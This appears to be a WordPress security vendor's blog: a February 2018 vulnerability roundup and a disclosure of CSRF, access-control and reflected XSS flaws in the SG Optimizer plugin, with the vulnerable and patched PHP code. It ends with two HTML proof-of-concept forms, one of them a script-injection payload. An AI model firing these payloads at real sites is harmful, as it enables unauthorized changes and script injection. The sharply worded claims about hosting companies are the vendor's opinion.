02 Mar

What Happened With WordPress Plugin Vulnerabilities in February 2018

If you want the best information and therefore best protection against vulnerabilities in WordPress plugins we provide you that through our service.

Here is what we did to keep those are already using our service secure from WordPress plugin vulnerabilities during February (and what you have been missing out on if you haven’t signed up yet):

Plugin Vulnerabilities We Discovered and Publicly Disclosed This Month

We don’t just collect data on vulnerabilities in plugins that others have discovered, we also discover vulnerabilities through proactive monitoring of changes made to plugins, monitoring hackers’ activity, reviewing other vulnerabilities, and by doing additional checking on the security of plugins.

The most concerning vulnerabilities this month were several PHP object injection vulnerabilities. That is a type of vulnerability likely to be exploited. Two of them were in plugins with 10,000+ active installs according to wordpress.org. Another one, which may have been being exploited already when we ran across it, was in an even more popular plugin (with 300,000+ active installs), but it was only exploitable by those logged in to WordPress, which limited the threat. Our Plugin Security Checker (which is now accessible through a WordPress plugin of its own) can detect the possibility of those variants of PHP object injection, so anyone can check if plugins they use may be impacted by a similar vulnerability.

Plugin Vulnerabilities We Helped Get Fixed This Month

Letting you know that you are using a vulnerable version of plugin is useful, but it is much more useful if you can fully protect yourself by simple updating to a new version. So we work with plugin developers to make sure that vulnerabilities get fixed.

Plugin Vulnerabilities Added This Month That Are In The Current Version of the Plugins

Keeping your plugins up to date isn’t enough to keep you secure as these vulnerabilities in the current versions of plugins show:

Additional Vulnerabilities Added This Month

As usual, there were plenty of other vulnerabilities that we added to our data during the month. The most serious vulnerabilities here being two of the PHP object injection vulnerabilities we discovered during the month, with one of them possibly being exploited already.

22 Feb

SiteGround Caused 300,000+ of Their Customers Websites to be Insecure Due to Their Plugin SG Optimizer

When it comes to blame for the poor state of web security one of the parties that should get more blame than they seem to get are web hosts. Not only do they often poorly handle security themselves, but increasingly they have been partnering with really bad security companies, allowing those security companies to cause even more problems. SiteGround is one of those web hosts, with their partnership with Sucuri (which in turns is owned by another web host, GoDaddy, with a horrible security record of their own). Sucuri is a  company that among too many issues to go through, tries to scare people in to hiring them to do unneeded work, lacks a basic understanding of security, and causes their customers websites to remain insecure when they were easily fixed by people not claiming to have the level expertise that Sucuri claims to have.

Considering that SiteGround would have so low regard for their customers to partner with Sucuri, it probably isn’t all that surprising that they have also caused 300,000+ of their customers’ websites (according to wordpress.org) that use their plugin SG Optimizer, to be insecure due to really poor security handling in the plugin.

What stands out about this is how long it took them to fix this. What lead us to look into their plugin and find vulnerabilities in it was SiteGround’s claim about quickly providing protection against a vulnerability in another plugin. In that case they touted how they had provided protection the same day a vulnerability was disclosed. That vulnerability was already fixed several days before the disclosure and was unlikely to have been exploited, so the claimed provided protection wasn’t all that meaningful. When it came to unfixed vulnerabilities in their own plugin though it took them nearly three weeks to fix it, when it could have reasonably done in days at the most.

What we found when we started to look at their plugin three weeks ago was that there was a lack of protection against cross-site request forgery (CSRF) when taking actions permitted by the plugin, due to a lack of a nonce sent with the request to take those (and also a lack of check to make sure a valid nonce was sent when processing the request). That could allow an attacker to cause a logged in Administrator to take actions provided through the plugin, without intending it. The plugin allows changing the website’s caching settings, HTTPS enablement, and what is seems like the most likely to cause issues, it’s PHP version.

When we went to look closer at that we found there was a larger issue related to that, anyone logged in to WordPress would be able to change all those things as well. As an example of that, let’s look at the code that handles changing the URLs that get excluded from caching. That is handled through a function named update_blacklist(), which the plugins register to be available through WordPress’ AJAX functionality:

79
add_action( 'wp_ajax_sg-cachepress-blacklist-update', array( $this, 'update_blacklist' ) );

The way that is registered allows anyone logged in to access the function. The function, located in the file /class-sg-cachepress-admin.php, didn’t do a check to make sure the requests is from a user that should have access to it (or check for a valid nonce to prevent CSRF) before updating the excluded URLS:

260
261
262
public function update_blacklist() {
	die((int)$this->options_handler->update_option('blacklist',$_POST['blacklist']));
}

That has now been fixed adding by adding those checks:

375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
public function update_blacklist() {
	if (!current_user_can( 'manage_options' )) {
		return;
	}
 
	if (!isset($_POST['nonce'])) {
		return;
	}
 
	if (!wp_verify_nonce( $_POST['nonce'], 'sg-cachepress-blacklist-update' )) {
		return;
	}
 
	die((int)$this->options_handler->update_option('blacklist',$_POST['blacklist']));
}

After that we ran the plugin through our Plugin Security Checker, which does limited automated security checks of WordPress plugins (and is now accessible through a WordPress plugin of its own),  and it identified another possible issue in one of those AJAX functions:

A quick test of that showed that in fact the plugin contained a reflected cross-site scripting (XSS) vulnerability since it outputs user input without escaping it first.

That was fixed by restricting access to the relevant function and escaping the input using strip_tags():

62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
function message_hide()
{
	if (!current_user_can( 'manage_options' )) {
		die();
	}
 
	if (!isset($_POST['nonce'])) {
		die();
	}
 
	if (!wp_verify_nonce($_POST['nonce'], 'ajax-notification-nonce')) {
		die();
	}
 
	$id = $_POST['notice_id'];
	$this->options_handler->disable_option('show_notice_' . $id);
 
	echo strip_tags($id);
	wp_die();
}

It really doesn’t say good things about the security of WordPress plugins in general that you have a plugin with 300,000+ active installs that has a vulnerability that can be picked up by our tool (and its good reason to check the plugins you use over and possibly have a security review any flagged as possibly containing security issues).

The good news in all of this is that none of those security issues is the kind of thing that hackers would likely try to exploit.

Proof of Concept for Changing Excluded URLs

The following proof of concept will cause the value of the excluded URLS to be changed to “test”, when logged in to WordPress

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="sg-cachepress-blacklist-update" />
<input type="hidden" name="blacklist" value='test' />
<input type="submit" value="Submit" />
</form>
</body>

Proof of Concept for Reflected Cross-Site Scripting (XSS) Vulnerability

The following proof of concept will cause an alert box with the message “XSS” to be shown, when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="sg-cachepress-message-hide" />
<input type="hidden" name="notice_id" value='<script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • February 2, 2018 – Developer notified.
  • February 5, 2018 – Developer responds.
  • February 22, 2018 – Version 4.0 released, which fixes vulnerabilities.